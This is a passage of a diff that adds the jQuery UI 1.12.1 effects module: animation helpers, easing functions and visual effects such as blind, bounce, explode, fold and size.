+			outerWidth: element.outerWidth() * x
+		};
+
+	},
+
+	clipToBox: function( animation ) {
+		return {
+			width: animation.clip.right - animation.clip.left,
+			height: animation.clip.bottom - animation.clip.top,
+			left: animation.clip.left,
+			top: animation.clip.top
+		};
+	},
+
+	// Injects recently queued functions to be first in line (after "inprogress")
+	unshift: function( element, queueLength, count ) {
+		var queue = element.queue();
+
+		if ( queueLength > 1 ) {
+			queue.splice.apply( queue,
+				[ 1, 0 ].concat( queue.splice( queueLength, count ) ) );
+		}
+		element.dequeue();
+	},
+
+	saveStyle: function( element ) {
+		element.data( dataSpaceStyle, element[ 0 ].style.cssText );
+	},
+
+	restoreStyle: function( element ) {
+		element[ 0 ].style.cssText = element.data( dataSpaceStyle ) || "";
+		element.removeData( dataSpaceStyle );
+	},
+
+	mode: function( element, mode ) {
+		var hidden = element.is( ":hidden" );
+
+		if ( mode === "toggle" ) {
+			mode = hidden ? "show" : "hide";
+		}
+		if ( hidden ? mode === "hide" : mode === "show" ) {
+			mode = "none";
+		}
+		return mode;
+	},
+
+	// Translates a [top,left] array into a baseline value
+	getBaseline: function( origin, original ) {
+		var y, x;
+
+		switch ( origin[ 0 ] ) {
+		case "top":
+			y = 0;
+			break;
+		case "middle":
+			y = 0.5;
+			break;
+		case "bottom":
+			y = 1;
+			break;
+		default:
+			y = origin[ 0 ] / original.height;
+		}
+
+		switch ( origin[ 1 ] ) {
+		case "left":
+			x = 0;
+			break;
+		case "center":
+			x = 0.5;
+			break;
+		case "right":
+			x = 1;
+			break;
+		default:
+			x = origin[ 1 ] / original.width;
+		}
+
+		return {
+			x: x,
+			y: y
+		};
+	},
+
+	// Creates a placeholder element so that the original element can be made absolute
+	createPlaceholder: function( element ) {
+		var placeholder,
+			cssPosition = element.css( "position" ),
+			position = element.position();
+
+		// Lock in margins first to account for form elements, which
+		// will change margin if you explicitly set height
+		// see: http://jsfiddle.net/JZSMt/3/ https://bugs.webkit.org/show_bug.cgi?id=107380
+		// Support: Safari
+		element.css( {
+			marginTop: element.css( "marginTop" ),
+			marginBottom: element.css( "marginBottom" ),
+			marginLeft: element.css( "marginLeft" ),
+			marginRight: element.css( "marginRight" )
+		} )
+		.outerWidth( element.outerWidth() )
+		.outerHeight( element.outerHeight() );
+
+		if ( /^(static|relative)/.test( cssPosition ) ) {
+			cssPosition = "absolute";
+
+			placeholder = $( "<" + element[ 0 ].nodeName + ">" ).insertAfter( element ).css( {
+
+				// Convert inline to inline block to account for inline elements
+				// that turn to inline block based on content (like img)
+				display: /^(inline|ruby)/.test( element.css( "display" ) ) ?
+					"inline-block" :
+					"block",
+				visibility: "hidden",
+
+				// Margins need to be set to account for margin collapse
+				marginTop: element.css( "marginTop" ),
+				marginBottom: element.css( "marginBottom" ),
+				marginLeft: element.css( "marginLeft" ),
+				marginRight: element.css( "marginRight" ),
+				"float": element.css( "float" )
+			} )
+			.outerWidth( element.outerWidth() )
+			.outerHeight( element.outerHeight() )
+			.addClass( "ui-effects-placeholder" );
+
+			element.data( dataSpace + "placeholder", placeholder );
+		}
+
+		element.css( {
+			position: cssPosition,
+			left: position.left,
+			top: position.top
+		} );
+
+		return placeholder;
+	},
+
+	removePlaceholder: function( element ) {
+		var dataKey = dataSpace + "placeholder",
+				placeholder = element.data( dataKey );
+
+		if ( placeholder ) {
+			placeholder.remove();
+			element.removeData( dataKey );
+		}
+	},
+
+	// Removes a placeholder if it exists and restores
+	// properties that were modified during placeholder creation
+	cleanUp: function( element ) {
+		$.effects.restoreStyle( element );
+		$.effects.removePlaceholder( element );
+	},
+
+	setTransition: function( element, list, factor, value ) {
+		value = value || {};
+		$.each( list, function( i, x ) {
+			var unit = element.cssUnit( x );
+			if ( unit[ 0 ] > 0 ) {
+				value[ x ] = unit[ 0 ] * factor + unit[ 1 ];
+			}
+		} );
+		return value;
+	}
+} );
+
+// Return an effect options object for the given parameters:
+function _normalizeArguments( effect, options, speed, callback ) {
+
+	// Allow passing all options as the first parameter
+	if ( $.isPlainObject( effect ) ) {
+		options = effect;
+		effect = effect.effect;
+	}
+
+	// Convert to an object
+	effect = { effect: effect };
+
+	// Catch (effect, null, ...)
+	if ( options == null ) {
+		options = {};
+	}
+
+	// Catch (effect, callback)
+	if ( $.isFunction( options ) ) {
+		callback = options;
+		speed = null;
+		options = {};
+	}
+
+	// Catch (effect, speed, ?)
+	if ( typeof options === "number" || $.fx.speeds[ options ] ) {
+		callback = speed;
+		speed = options;
+		options = {};
+	}
+
+	// Catch (effect, options, callback)
+	if ( $.isFunction( speed ) ) {
+		callback = speed;
+		speed = null;
+	}
+
+	// Add options to effect
+	if ( options ) {
+		$.extend( effect, options );
+	}
+
+	speed = speed || options.duration;
+	effect.duration = $.fx.off ? 0 :
+		typeof speed === "number" ? speed :
+		speed in $.fx.speeds ? $.fx.speeds[ speed ] :
+		$.fx.speeds._default;
+
+	effect.complete = callback || options.complete;
+
+	return effect;
+}
+
+function standardAnimationOption( option ) {
+
+	// Valid standard speeds (nothing, number, named speed)
+	if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) {
+		return true;
+	}
+
+	// Invalid strings - treat as "normal" speed
+	if ( typeof option === "string" && !$.effects.effect[ option ] ) {
+		return true;
+	}
+
+	// Complete callback
+	if ( $.isFunction( option ) ) {
+		return true;
+	}
+
+	// Options hash (but not naming an effect)
+	if ( typeof option === "object" && !option.effect ) {
+		return true;
+	}
+
+	// Didn't match any standard API
+	return false;
+}
+
+$.fn.extend( {
+	effect: function( /* effect, options, speed, callback */ ) {
+		var args = _normalizeArguments.apply( this, arguments ),
+			effectMethod = $.effects.effect[ args.effect ],
+			defaultMode = effectMethod.mode,
+			queue = args.queue,
+			queueName = queue || "fx",
+			complete = args.complete,
+			mode = args.mode,
+			modes = [],
+			prefilter = function( next ) {
+				var el = $( this ),
+					normalizedMode = $.effects.mode( el, mode ) || defaultMode;
+
+				// Sentinel for duck-punching the :animated psuedo-selector
+				el.data( dataSpaceAnimated, true );
+
+				// Save effect mode for later use,
+				// we can't just call $.effects.mode again later,
+				// as the .show() below destroys the initial state
+				modes.push( normalizedMode );
+
+				// See $.uiBackCompat inside of run() for removal of defaultMode in 1.13
+				if ( defaultMode && ( normalizedMode === "show" ||
+						( normalizedMode === defaultMode && normalizedMode === "hide" ) ) ) {
+					el.show();
+				}
+
+				if ( !defaultMode || normalizedMode !== "none" ) {
+					$.effects.saveStyle( el );
+				}
+
+				if ( $.isFunction( next ) ) {
+					next();
+				}
+			};
+
+		if ( $.fx.off || !effectMethod ) {
+
+			// Delegate to the original method (e.g., .show()) if possible
+			if ( mode ) {
+				return this[ mode ]( args.duration, complete );
+			} else {
+				return this.each( function() {
+					if ( complete ) {
+						complete.call( this );
+					}
+				} );
+			}
+		}
+
+		function run( next ) {
+			var elem = $( this );
+
+			function cleanup() {
+				elem.removeData( dataSpaceAnimated );
+
+				$.effects.cleanUp( elem );
+
+				if ( args.mode === "hide" ) {
+					elem.hide();
+				}
+
+				done();
+			}
+
+			function done() {
+				if ( $.isFunction( complete ) ) {
+					complete.call( elem[ 0 ] );
+				}
+
+				if ( $.isFunction( next ) ) {
+					next();
+				}
+			}
+
+			// Override mode option on a per element basis,
+			// as toggle can be either show or hide depending on element state
+			args.mode = modes.shift();
+
+			if ( $.uiBackCompat !== false && !defaultMode ) {
+				if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) {
+
+					// Call the core method to track "olddisplay" properly
+					elem[ mode ]();
+					done();
+				} else {
+					effectMethod.call( elem[ 0 ], args, done );
+				}
+			} else {
+				if ( args.mode === "none" ) {
+
+					// Call the core method to track "olddisplay" properly
+					elem[ mode ]();
+					done();
+				} else {
+					effectMethod.call( elem[ 0 ], args, cleanup );
+				}
+			}
+		}
+
+		// Run prefilter on all elements first to ensure that
+		// any showing or hiding happens before placeholder creation,
+		// which ensures that any layout changes are correctly captured.
+		return queue === false ?
+			this.each( prefilter ).each( run ) :
+			this.queue( queueName, prefilter ).queue( queueName, run );
+	},
+
+	show: ( function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "show";
+				return this.effect.call( this, args );
+			}
+		};
+	} )( $.fn.show ),
+
+	hide: ( function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "hide";
+				return this.effect.call( this, args );
+			}
+		};
+	} )( $.fn.hide ),
+
+	toggle: ( function( orig ) {
+		return function( option ) {
+			if ( standardAnimationOption( option ) || typeof option === "boolean" ) {
+				return orig.apply( this, arguments );
+			} else {
+				var args = _normalizeArguments.apply( this, arguments );
+				args.mode = "toggle";
+				return this.effect.call( this, args );
+			}
+		};
+	} )( $.fn.toggle ),
+
+	cssUnit: function( key ) {
+		var style = this.css( key ),
+			val = [];
+
+		$.each( [ "em", "px", "%", "pt" ], function( i, unit ) {
+			if ( style.indexOf( unit ) > 0 ) {
+				val = [ parseFloat( style ), unit ];
+			}
+		} );
+		return val;
+	},
+
+	cssClip: function( clipObj ) {
+		if ( clipObj ) {
+			return this.css( "clip", "rect(" + clipObj.top + "px " + clipObj.right + "px " +
+				clipObj.bottom + "px " + clipObj.left + "px)" );
+		}
+		return parseClip( this.css( "clip" ), this );
+	},
+
+	transfer: function( options, done ) {
+		var element = $( this ),
+			target = $( options.to ),
+			targetFixed = target.css( "position" ) === "fixed",
+			body = $( "body" ),
+			fixTop = targetFixed ? body.scrollTop() : 0,
+			fixLeft = targetFixed ? body.scrollLeft() : 0,
+			endPosition = target.offset(),
+			animation = {
+				top: endPosition.top - fixTop,
+				left: endPosition.left - fixLeft,
+				height: target.innerHeight(),
+				width: target.innerWidth()
+			},
+			startPosition = element.offset(),
+			transfer = $( "<div class='ui-effects-transfer'></div>" )
+				.appendTo( "body" )
+				.addClass( options.className )
+				.css( {
+					top: startPosition.top - fixTop,
+					left: startPosition.left - fixLeft,
+					height: element.innerHeight(),
+					width: element.innerWidth(),
+					position: targetFixed ? "fixed" : "absolute"
+				} )
+				.animate( animation, options.duration, options.easing, function() {
+					transfer.remove();
+					if ( $.isFunction( done ) ) {
+						done();
+					}
+				} );
+	}
+} );
+
+function parseClip( str, element ) {
+		var outerWidth = element.outerWidth(),
+			outerHeight = element.outerHeight(),
+			clipRegex = /^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/,
+			values = clipRegex.exec( str ) || [ "", 0, outerWidth, outerHeight, 0 ];
+
+		return {
+			top: parseFloat( values[ 1 ] ) || 0,
+			right: values[ 2 ] === "auto" ? outerWidth : parseFloat( values[ 2 ] ),
+			bottom: values[ 3 ] === "auto" ? outerHeight : parseFloat( values[ 3 ] ),
+			left: parseFloat( values[ 4 ] ) || 0
+		};
+}
+
+$.fx.step.clip = function( fx ) {
+	if ( !fx.clipInit ) {
+		fx.start = $( fx.elem ).cssClip();
+		if ( typeof fx.end === "string" ) {
+			fx.end = parseClip( fx.end, fx.elem );
+		}
+		fx.clipInit = true;
+	}
+
+	$( fx.elem ).cssClip( {
+		top: fx.pos * ( fx.end.top - fx.start.top ) + fx.start.top,
+		right: fx.pos * ( fx.end.right - fx.start.right ) + fx.start.right,
+		bottom: fx.pos * ( fx.end.bottom - fx.start.bottom ) + fx.start.bottom,
+		left: fx.pos * ( fx.end.left - fx.start.left ) + fx.start.left
+	} );
+};
+
+} )();
+
+/******************************************************************************/
+/*********************************** EASING ***********************************/
+/******************************************************************************/
+
+( function() {
+
+// Based on easing equations from Robert Penner (http://www.robertpenner.com/easing)
+
+var baseEasings = {};
+
+$.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) {
+	baseEasings[ name ] = function( p ) {
+		return Math.pow( p, i + 2 );
+	};
+} );
+
+$.extend( baseEasings, {
+	Sine: function( p ) {
+		return 1 - Math.cos( p * Math.PI / 2 );
+	},
+	Circ: function( p ) {
+		return 1 - Math.sqrt( 1 - p * p );
+	},
+	Elastic: function( p ) {
+		return p === 0 || p === 1 ? p :
+			-Math.pow( 2, 8 * ( p - 1 ) ) * Math.sin( ( ( p - 1 ) * 80 - 7.5 ) * Math.PI / 15 );
+	},
+	Back: function( p ) {
+		return p * p * ( 3 * p - 2 );
+	},
+	Bounce: function( p ) {
+		var pow2,
+			bounce = 4;
+
+		while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {}
+		return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 );
+	}
+} );
+
+$.each( baseEasings, function( name, easeIn ) {
+	$.easing[ "easeIn" + name ] = easeIn;
+	$.easing[ "easeOut" + name ] = function( p ) {
+		return 1 - easeIn( 1 - p );
+	};
+	$.easing[ "easeInOut" + name ] = function( p ) {
+		return p < 0.5 ?
+			easeIn( p * 2 ) / 2 :
+			1 - easeIn( p * -2 + 2 ) / 2;
+	};
+} );
+
+} )();
+
+var effect = $.effects;
+
+
+/*!
+ * jQuery UI Effects Blind 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Blind Effect
+//>>group: Effects
+//>>description: Blinds the element.
+//>>docs: http://api.jqueryui.com/blind-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectBlind = $.effects.define( "blind", "hide", function( options, done ) {
+	var map = {
+			up: [ "bottom", "top" ],
+			vertical: [ "bottom", "top" ],
+			down: [ "top", "bottom" ],
+			left: [ "right", "left" ],
+			horizontal: [ "right", "left" ],
+			right: [ "left", "right" ]
+		},
+		element = $( this ),
+		direction = options.direction || "up",
+		start = element.cssClip(),
+		animate = { clip: $.extend( {}, start ) },
+		placeholder = $.effects.createPlaceholder( element );
+
+	animate.clip[ map[ direction ][ 0 ] ] = animate.clip[ map[ direction ][ 1 ] ];
+
+	if ( options.mode === "show" ) {
+		element.cssClip( animate.clip );
+		if ( placeholder ) {
+			placeholder.css( $.effects.clipToBox( animate ) );
+		}
+
+		animate.clip = start;
+	}
+
+	if ( placeholder ) {
+		placeholder.animate( $.effects.clipToBox( animate ), options.duration, options.easing );
+	}
+
+	element.animate( animate, {
+		queue: false,
+		duration: options.duration,
+		easing: options.easing,
+		complete: done
+	} );
+} );
+
+
+/*!
+ * jQuery UI Effects Bounce 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Bounce Effect
+//>>group: Effects
+//>>description: Bounces an element horizontally or vertically n times.
+//>>docs: http://api.jqueryui.com/bounce-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectBounce = $.effects.define( "bounce", function( options, done ) {
+	var upAnim, downAnim, refValue,
+		element = $( this ),
+
+		// Defaults:
+		mode = options.mode,
+		hide = mode === "hide",
+		show = mode === "show",
+		direction = options.direction || "up",
+		distance = options.distance,
+		times = options.times || 5,
+
+		// Number of internal animations
+		anims = times * 2 + ( show || hide ? 1 : 0 ),
+		speed = options.duration / anims,
+		easing = options.easing,
+
+		// Utility:
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		motion = ( direction === "up" || direction === "left" ),
+		i = 0,
+
+		queuelen = element.queue().length;
+
+	$.effects.createPlaceholder( element );
+
+	refValue = element.css( ref );
+
+	// Default distance for the BIGGEST bounce is the outer Distance / 3
+	if ( !distance ) {
+		distance = element[ ref === "top" ? "outerHeight" : "outerWidth" ]() / 3;
+	}
+
+	if ( show ) {
+		downAnim = { opacity: 1 };
+		downAnim[ ref ] = refValue;
+
+		// If we are showing, force opacity 0 and set the initial position
+		// then do the "first" animation
+		element
+			.css( "opacity", 0 )
+			.css( ref, motion ? -distance * 2 : distance * 2 )
+			.animate( downAnim, speed, easing );
+	}
+
+	// Start at the smallest distance if we are hiding
+	if ( hide ) {
+		distance = distance / Math.pow( 2, times - 1 );
+	}
+
+	downAnim = {};
+	downAnim[ ref ] = refValue;
+
+	// Bounces up/down/left/right then back to 0 -- times * 2 animations happen here
+	for ( ; i < times; i++ ) {
+		upAnim = {};
+		upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
+
+		element
+			.animate( upAnim, speed, easing )
+			.animate( downAnim, speed, easing );
+
+		distance = hide ? distance * 2 : distance / 2;
+	}
+
+	// Last Bounce when Hiding
+	if ( hide ) {
+		upAnim = { opacity: 0 };
+		upAnim[ ref ] = ( motion ? "-=" : "+=" ) + distance;
+
+		element.animate( upAnim, speed, easing );
+	}
+
+	element.queue( done );
+
+	$.effects.unshift( element, queuelen, anims + 1 );
+} );
+
+
+/*!
+ * jQuery UI Effects Clip 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Clip Effect
+//>>group: Effects
+//>>description: Clips the element on and off like an old TV.
+//>>docs: http://api.jqueryui.com/clip-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectClip = $.effects.define( "clip", "hide", function( options, done ) {
+	var start,
+		animate = {},
+		element = $( this ),
+		direction = options.direction || "vertical",
+		both = direction === "both",
+		horizontal = both || direction === "horizontal",
+		vertical = both || direction === "vertical";
+
+	start = element.cssClip();
+	animate.clip = {
+		top: vertical ? ( start.bottom - start.top ) / 2 : start.top,
+		right: horizontal ? ( start.right - start.left ) / 2 : start.right,
+		bottom: vertical ? ( start.bottom - start.top ) / 2 : start.bottom,
+		left: horizontal ? ( start.right - start.left ) / 2 : start.left
+	};
+
+	$.effects.createPlaceholder( element );
+
+	if ( options.mode === "show" ) {
+		element.cssClip( animate.clip );
+		animate.clip = start;
+	}
+
+	element.animate( animate, {
+		queue: false,
+		duration: options.duration,
+		easing: options.easing,
+		complete: done
+	} );
+
+} );
+
+
+/*!
+ * jQuery UI Effects Drop 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Drop Effect
+//>>group: Effects
+//>>description: Moves an element in one direction and hides it at the same time.
+//>>docs: http://api.jqueryui.com/drop-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectDrop = $.effects.define( "drop", "hide", function( options, done ) {
+
+	var distance,
+		element = $( this ),
+		mode = options.mode,
+		show = mode === "show",
+		direction = options.direction || "left",
+		ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
+		motion = ( direction === "up" || direction === "left" ) ? "-=" : "+=",
+		oppositeMotion = ( motion === "+=" ) ? "-=" : "+=",
+		animation = {
+			opacity: 0
+		};
+
+	$.effects.createPlaceholder( element );
+
+	distance = options.distance ||
+		element[ ref === "top" ? "outerHeight" : "outerWidth" ]( true ) / 2;
+
+	animation[ ref ] = motion + distance;
+
+	if ( show ) {
+		element.css( animation );
+
+		animation[ ref ] = oppositeMotion + distance;
+		animation.opacity = 1;
+	}
+
+	// Animate
+	element.animate( animation, {
+		queue: false,
+		duration: options.duration,
+		easing: options.easing,
+		complete: done
+	} );
+} );
+
+
+/*!
+ * jQuery UI Effects Explode 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Explode Effect
+//>>group: Effects
+// jscs:disable maximumLineLength
+//>>description: Explodes an element in all directions into n pieces. Implodes an element to its original wholeness.
+// jscs:enable maximumLineLength
+//>>docs: http://api.jqueryui.com/explode-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectExplode = $.effects.define( "explode", "hide", function( options, done ) {
+
+	var i, j, left, top, mx, my,
+		rows = options.pieces ? Math.round( Math.sqrt( options.pieces ) ) : 3,
+		cells = rows,
+		element = $( this ),
+		mode = options.mode,
+		show = mode === "show",
+
+		// Show and then visibility:hidden the element before calculating offset
+		offset = element.show().css( "visibility", "hidden" ).offset(),
+
+		// Width and height of a piece
+		width = Math.ceil( element.outerWidth() / cells ),
+		height = Math.ceil( element.outerHeight() / rows ),
+		pieces = [];
+
+	// Children animate complete:
+	function childComplete() {
+		pieces.push( this );
+		if ( pieces.length === rows * cells ) {
+			animComplete();
+		}
+	}
+
+	// Clone the element for each row and cell.
+	for ( i = 0; i < rows; i++ ) { // ===>
+		top = offset.top + i * height;
+		my = i - ( rows - 1 ) / 2;
+
+		for ( j = 0; j < cells; j++ ) { // |||
+			left = offset.left + j * width;
+			mx = j - ( cells - 1 ) / 2;
+
+			// Create a clone of the now hidden main element that will be absolute positioned
+			// within a wrapper div off the -left and -top equal to size of our pieces
+			element
+				.clone()
+				.appendTo( "body" )
+				.wrap( "<div></div>" )
+				.css( {
+					position: "absolute",
+					visibility: "visible",
+					left: -j * width,
+					top: -i * height
+				} )
+
+				// Select the wrapper - make it overflow: hidden and absolute positioned based on
+				// where the original was located +left and +top equal to the size of pieces
+				.parent()
+					.addClass( "ui-effects-explode" )
+					.css( {
+						position: "absolute",
+						overflow: "hidden",
+						width: width,
+						height: height,
+						left: left + ( show ? mx * width : 0 ),
+						top: top + ( show ? my * height : 0 ),
+						opacity: show ? 0 : 1
+					} )
+					.animate( {
+						left: left + ( show ? 0 : mx * width ),
+						top: top + ( show ? 0 : my * height ),
+						opacity: show ? 1 : 0
+					}, options.duration || 500, options.easing, childComplete );
+		}
+	}
+
+	function animComplete() {
+		element.css( {
+			visibility: "visible"
+		} );
+		$( pieces ).remove();
+		done();
+	}
+} );
+
+
+/*!
+ * jQuery UI Effects Fade 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Fade Effect
+//>>group: Effects
+//>>description: Fades the element.
+//>>docs: http://api.jqueryui.com/fade-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectFade = $.effects.define( "fade", "toggle", function( options, done ) {
+	var show = options.mode === "show";
+
+	$( this )
+		.css( "opacity", show ? 0 : 1 )
+		.animate( {
+			opacity: show ? 1 : 0
+		}, {
+			queue: false,
+			duration: options.duration,
+			easing: options.easing,
+			complete: done
+		} );
+} );
+
+
+/*!
+ * jQuery UI Effects Fold 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Fold Effect
+//>>group: Effects
+//>>description: Folds an element first horizontally and then vertically.
+//>>docs: http://api.jqueryui.com/fold-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectFold = $.effects.define( "fold", "hide", function( options, done ) {
+
+	// Create element
+	var element = $( this ),
+		mode = options.mode,
+		show = mode === "show",
+		hide = mode === "hide",
+		size = options.size || 15,
+		percent = /([0-9]+)%/.exec( size ),
+		horizFirst = !!options.horizFirst,
+		ref = horizFirst ? [ "right", "bottom" ] : [ "bottom", "right" ],
+		duration = options.duration / 2,
+
+		placeholder = $.effects.createPlaceholder( element ),
+
+		start = element.cssClip(),
+		animation1 = { clip: $.extend( {}, start ) },
+		animation2 = { clip: $.extend( {}, start ) },
+
+		distance = [ start[ ref[ 0 ] ], start[ ref[ 1 ] ] ],
+
+		queuelen = element.queue().length;
+
+	if ( percent ) {
+		size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ];
+	}
+	animation1.clip[ ref[ 0 ] ] = size;
+	animation2.clip[ ref[ 0 ] ] = size;
+	animation2.clip[ ref[ 1 ] ] = 0;
+
+	if ( show ) {
+		element.cssClip( animation2.clip );
+		if ( placeholder ) {
+			placeholder.css( $.effects.clipToBox( animation2 ) );
+		}
+
+		animation2.clip = start;
+	}
+
+	// Animate
+	element
+		.queue( function( next ) {
+			if ( placeholder ) {
+				placeholder
+					.animate( $.effects.clipToBox( animation1 ), duration, options.easing )
+					.animate( $.effects.clipToBox( animation2 ), duration, options.easing );
+			}
+
+			next();
+		} )
+		.animate( animation1, duration, options.easing )
+		.animate( animation2, duration, options.easing )
+		.queue( done );
+
+	$.effects.unshift( element, queuelen, 4 );
+} );
+
+
+/*!
+ * jQuery UI Effects Highlight 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Highlight Effect
+//>>group: Effects
+//>>description: Highlights the background of an element in a defined color for a custom duration.
+//>>docs: http://api.jqueryui.com/highlight-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectHighlight = $.effects.define( "highlight", "show", function( options, done ) {
+	var element = $( this ),
+		animation = {
+			backgroundColor: element.css( "backgroundColor" )
+		};
+
+	if ( options.mode === "hide" ) {
+		animation.opacity = 0;
+	}
+
+	$.effects.saveStyle( element );
+
+	element
+		.css( {
+			backgroundImage: "none",
+			backgroundColor: options.color || "#ffff99"
+		} )
+		.animate( animation, {
+			queue: false,
+			duration: options.duration,
+			easing: options.easing,
+			complete: done
+		} );
+} );
+
+
+/*!
+ * jQuery UI Effects Size 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//>>label: Size Effect
+//>>group: Effects
+//>>description: Resize an element to a specified width and height.
+//>>docs: http://api.jqueryui.com/size-effect/
+//>>demos: http://jqueryui.com/effect/
+
+
+
+var effectsEffectSize = $.effects.define( "size", function( options, done ) {
+
+	// Create element
+	var baseline, factor, temp,
+		element = $( this ),
+
+		// Copy for children
+		cProps = [ "fontSize" ],
+		vProps = [ "borderTopWidth", "borderBottomWidth", "paddingTop", "paddingBottom" ],
+		hProps = [ "borderLeftWidth", "borderRightWidth", "paddingLeft", "paddingRight" ],
+
+		// Set options
+		mode = options.mode,
+		restore = mode !== "effect",
+		scale = options.scale || "both",
+		origin = options.origin || [ "middle", "center" ],
+		position = element.css( "position" ),
+		pos = element.position(),
+		original = $.effects.scaledDimensions( element ),
+		from = options.from || original,
+		to = options.to || $.effects.scaledDimensions( element, 0 );
+
+	$.effects.createPlaceholder( element );
+
+	if ( mode === "show" ) {
+		temp = from;
+		from = to;
+		to = temp;
+	}
+
+	// Set scaling factor
+	factor = {
+		from: {
+			y: from.height / original.height,
+			x: from.width / original.width
+		},
+		to: {
+			y: to.height / original.height,
+			x: to.width / original.width
+		}
+	};
+
+	// Scale the css box
+	if ( scale === "box" || scale === "both" ) {
+
+		// Vertical props scaling
+		if ( factor.from.y !== factor.to.y ) {
+			from = $.effects.setTransition( element, vProps, factor.from.y, from );
+			to = $.effects.setTransition( element, vProps, factor.to.y, to );
+		}
+
+		// Horizontal props scaling
+		if ( factor.from.x !== factor.to.x ) {
+			from = $.effects.setTransition( element, hProps, factor.from.x, from );
+			to = $.effects.setTransition( element, hProps, factor.to.x, to );
+		}
+	}
+
+	// Scale the content
+	if ( scale === "content" || scale === "both" ) {
+
+		// Vertical props scaling
+		if ( factor.from.y !== factor.to.y ) {
+			from = $.effects.setTransition( element, cProps, factor.from.y, from );
+			to = $.effects.setTransition( element, cProps, factor.to.y, to );
+		}
+	}
+
+	// Adjust the position properties based on the provided origin points
+	if ( origin ) {
+		baseline = $.effects.getBaseline( origin, original );
+		from.top = ( original.outerHeight - from.outerHeight ) * baseline.y + pos.top;
+		from.left = ( original.outerWidth - from.outerWidth ) * baseline.x + pos.left;
+		to.top = ( original.outerHeight - to.outerHeight ) * baseline.y + pos.top;
+		to.left = ( original.outerWidth - to.outerWidth ) * baseline.x + pos.left;
+	}
+	element.css( from );
+
+	// Animate the children if desired
+	if ( scale === "content" || scale === "both" ) {
+
+		vProps = vProps.concat( [ "marginTop", "marginBottom" ] ).concat( cProps );
+		hProps = hProps.concat( [ "marginLeft", "marginRight" ] );
+
+		// Only animate children with width attributes specified
+		// TODO: is this right? should we include anything with css width specified as well
+		element.find( "*[width]" ).each( function() {
+			var child = $( this ),
+				childOriginal = $.effects.scaledDimensions( child ),
+				childFrom = {
+					height: childOriginal.height * factor.from.y,
+					width: childOriginal.width * factor.from.x,
+					outerHeight: childOriginal.outerHeight * factor.from.y,
+					outerWidth: childOriginal.outerWidth * factor.from.x
+				},
+				childTo = {
+					height: childOriginal.height * factor.to.y,
+					width: childOriginal.width * factor.to.x,
+					outerHeight: childOriginal.height * factor.to.y,
+					outerWidth: childOriginal.width * factor.to.x
+				};
+
+			// Vertical props scaling
+			if ( factor.from.y !== factor.to.y ) {
+				childFrom = $.effects.setTransition( child, vProps, factor.from.y, childFrom );
+				childTo = $.effects.setTransition( child, vProps, factor.to.y, childTo );
+			}
+
+			// Horizontal props scaling
+			if ( factor.from.x !== factor.to.x ) {
+				childFrom = $.effects.setTransition( child, hProps, factor.from.x, childFrom );
+				childTo = $.effects.setTransition( child, hProps, factor.to.x, childTo );
+			}
+
+			if ( restore ) {
+				$.effects.saveStyle( child );
+			}
+
+			// Animate children
+			child.css( childFrom );
+			child.animate( childTo, options.duration, options.easing, function() {
+
+				// Restore children
+				if ( restore ) {
+					$.effects.restoreStyle( child );
+				}
+			} );
+		} );
+	}
+
+	// Animate
+	element.animate( to, {
+		queue: false,
+		duration: options.duration,
+		easing: options.easing,
+		complete: function() {
+
+			var offset = element.offset();
+
+			if ( to.opacity === 0 ) {
+				element.css( "opacity", from.opacity );
+			}
+
+			if ( !restore ) {
+				element
